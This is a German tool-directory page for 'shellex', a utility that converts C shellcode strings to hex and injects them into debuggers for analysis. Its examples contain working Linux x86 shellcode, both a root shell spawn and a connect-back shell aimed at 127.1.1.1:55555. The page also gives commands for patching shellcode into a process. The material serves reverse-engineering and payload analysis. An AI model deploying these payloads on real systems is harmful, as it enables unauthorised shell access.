Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/therealdreg/shellex
ExploitationReverse EngineeringShellcodeDebuggerDienstprogramme & FrameworksBinäranalyseShellcode-GenerierungPayload-Entwicklung
GitHubtherealdreg/shellex

shellex

C-Shellcode-zu-Hex-Konverter, praktisches Werkzeug zum Einfügen und Ausführen von Shellcodes in IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger und 010 editor

1122364vor 3 JahrenVon Kitploit geprüft
Repository anzeigen
Webseite
Teilen

shellex

WARNUNG: der hässlichste Code der Welt

C-Shellcode-zu-Hex-Konverter.

Bitte erwägen Sie eine Spende: https://github.com/sponsors/therealdreg

Praktisches Tool zum Einfügen und Ausführen von Shellcodes in IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, Immunity Debugger und 010 Editor.

Haben Sie Probleme beim Konvertieren von C-Shellcodes in HEX (vielleicht C-Kommentare+ASCII gemischt?)

Hier ist shellex. Wenn der Shellcode in einem C-Compiler kompiliert werden kann, kann shellex ihn konvertieren.

Einfach shellex ausführen, den Shellcode-C-String einfügen und ENTER drücken.

Zum Beenden verwenden Sie Strg+Z (Windows)/Strg+D (Linux)

Konvertieren von C-Shellcode-mehrzeilig-hex+gemischt_ascii (achten Sie auf den gemischten Teil \x68//sh\x68/bin\x89):

"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

shellex-Ausgabe:

6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Konvertieren von C-Shellcode-mehrzeilig-mit-Kommentaren:

"\x68"
"\x7f\x01\x01\x01"  // <- IP:  127.1.1.1
"\x5e\x66\x68"
"\xd9\x03"          // <- Port: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"

shellex-Ausgabe:

68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE

Benötigen Sie die shellex-Ausgabe als neuen C-Shellcode-String? Verwenden Sie einfach den Parameter -h, Beispiel für die Konvertierung der shellex-Ausgabe:

./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80

Installation

git clone https://github.com/therealdreg/shellex.git

Für Windows:

Binärdatei:

shellex\bins\shellex.exe

Für Linux

Abhängigkeiten:

sudo apt-get install tcc

Binärdatei:

shellex/linuxbins/shellex

Shellcode einfügen und ausführen in ollydbg, x64dbg, Immunity Debugger

Verwenden Sie einfach mein xshellex-Plugin:

https://github.com/therealdreg/xshellex

Shellcode einfügen und ausführen in IDA PRO mit IDAPYTHON

  • shellex ausführen
  • Shellcode eingeben:
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter drücken
  • Strg+D drücken
  • shellex-Ausgabe mit shellex -h in C-Hex-String konvertieren:
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • eigenes IDAPYTHON-Skript erstellen:
def writebytes(dest, str):
  for i, c in enumerate(str):
    idc.patch_byte(dest+i, ord(c));

address = idc.get_reg_value("eip")

shellcode = "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

writebytes(address, shellcode)

print("done!")
  • C-Hex-String in die Variable shellcode kopieren.
  • Für 32 Bit verwenden: address = idc.get_reg_value("eip")
  • Für 64 Bit verwenden: address = idc.get_reg_value("rip")

Ein Programm in IDA PRO debuggen:

  • Gehen Sie zu Datei -> Skriptbefehl...
  • Skriptsprache wählen: Python
  • IDAPYTHON-Skript einfügen
  • Klicken Sie auf Ausführen

Jetzt können Sie den Shellcode mit F7 debuggen, aber möglicherweise zeigt das Disassemblierungsfenster den Shellcode als db's an.

Hier die Lösung:

  • Shellcode-Bytes im Disassemblierungsfenster auswählen
  • Rechtsklick -> Undefine
  • Shellcode-Bytes erneut im Disassemblierungsfenster auswählen
  • Rechtsklick -> Code -> Force -> Ja

Fertig! Sie können den disassemblierten Shellcode anzeigen und mit F7 debuggen.

Shellcode einfügen und ausführen in gdb

  • shellex ausführen
  • Shellcode eingeben:
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter drücken
  • Strg+D drücken
  • shellex-Ausgabe mit shellex -h in C-Hex-String konvertieren:
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • C-Hex-String mit "echo" als rohe Binärdaten in eine Datei schreiben:
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc
  • gdb /bin/ls
  • starti

Binärdatei an den aktuellen Befehlszeiger schreiben:

für 32 Bit:

restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip

für 64 Bit:

restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip

x/30b ist die Größe des Shellcodes in Bytes, die Größe erhalten Sie mit:

wc -c /tmp/sc

x/15i ist die Anzahl der anzuzeigenden Befehle, die korrekte Anzahl (vielleicht) erhalten Sie mit ndisasm:

sudo apt-get install nasm

Für 32 Bit:

ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l

Für 64 Bit:

ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l

Shellcode einfügen und ausführen in gdb-gef

  • shellex ausführen
  • Shellcode eingeben:
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter drücken
  • Strg+D drücken
  • konvertieren mit: echo "SPACE shellex_output" | sed "s/ / 0x/g"
echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"

patch byte-Befehl verwenden:

Für 32 Bit:

patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

Für 64 Bit:

patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

context-Befehl ausführen und prüfen, ob das Disassembly korrekt ist

Shellcode einfügen und ausführen in gdb-peda

  • shellex ausführen
  • Shellcode eingeben:
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter drücken
  • Strg+D drücken
  • shellex-Ausgabe mit shellex -h in C-Hex-String konvertieren:
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Für 32 Bit:

patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

Für 64 Bit:

patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

context-Befehl ausführen und prüfen, ob das Disassembly korrekt ist

Shellcode einfügen und ausführen in windbg

  • shellex ausführen
  • Shellcode eingeben:
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • Enter drücken
  • Strg+D drücken

via eb

Für kleine Shellcodes kann eb ausreichen, verwenden Sie einfach die shellex-Ausgabe mit dem eb-Befehl (danke an Axel Souchet @0vercl0k für den Hinweis)

Für 32 Bit:

eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Für 64 Bit:

eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

via file

  • Konvertieren Sie die shellex-Ausgabe mit certutil in rohe Binärdaten:
echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex

certutil-Ausgabe:

Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.
Tool herunterladen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Das ultimative OSINT-Toolkit: Untersuchungsgraph, Konfidenzbewertung, Alias-Familien, Karte, Zeitleiste und Berichte. 49 Module, 400+ Websites, keine API-Schlüssel erforderlich.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM-basierte Multi-Agenten-Plattform für autonome Penetrationstests mit Planer-/Worker-Agenten, Asset- und Explorationsgraphen, MITM-Verkehrsaufzeichnung und Schwachstellen-Retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-seitiges Red-Team-Toolkit mit 102 Offline-Tools für Recon, Payload-Generierung, Credential-Angriffe, Krypto, Encoding und Engagement-Reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    KI-Multi-Agenten-Plattform für autonome Penetrationstests, die Recon, Angriffsflächen-Erkennung, Exploit-Validierung und evidenzbasierte Berichtserstellung durchführt.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Das System der Handlung für KI-native Cybersicherheit – wo Absicht zu gesteuerter Ausführung wird, Beweise zu operativem Gedächtnis werden und jeder Einsatz den nächsten verbessert.

    258

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →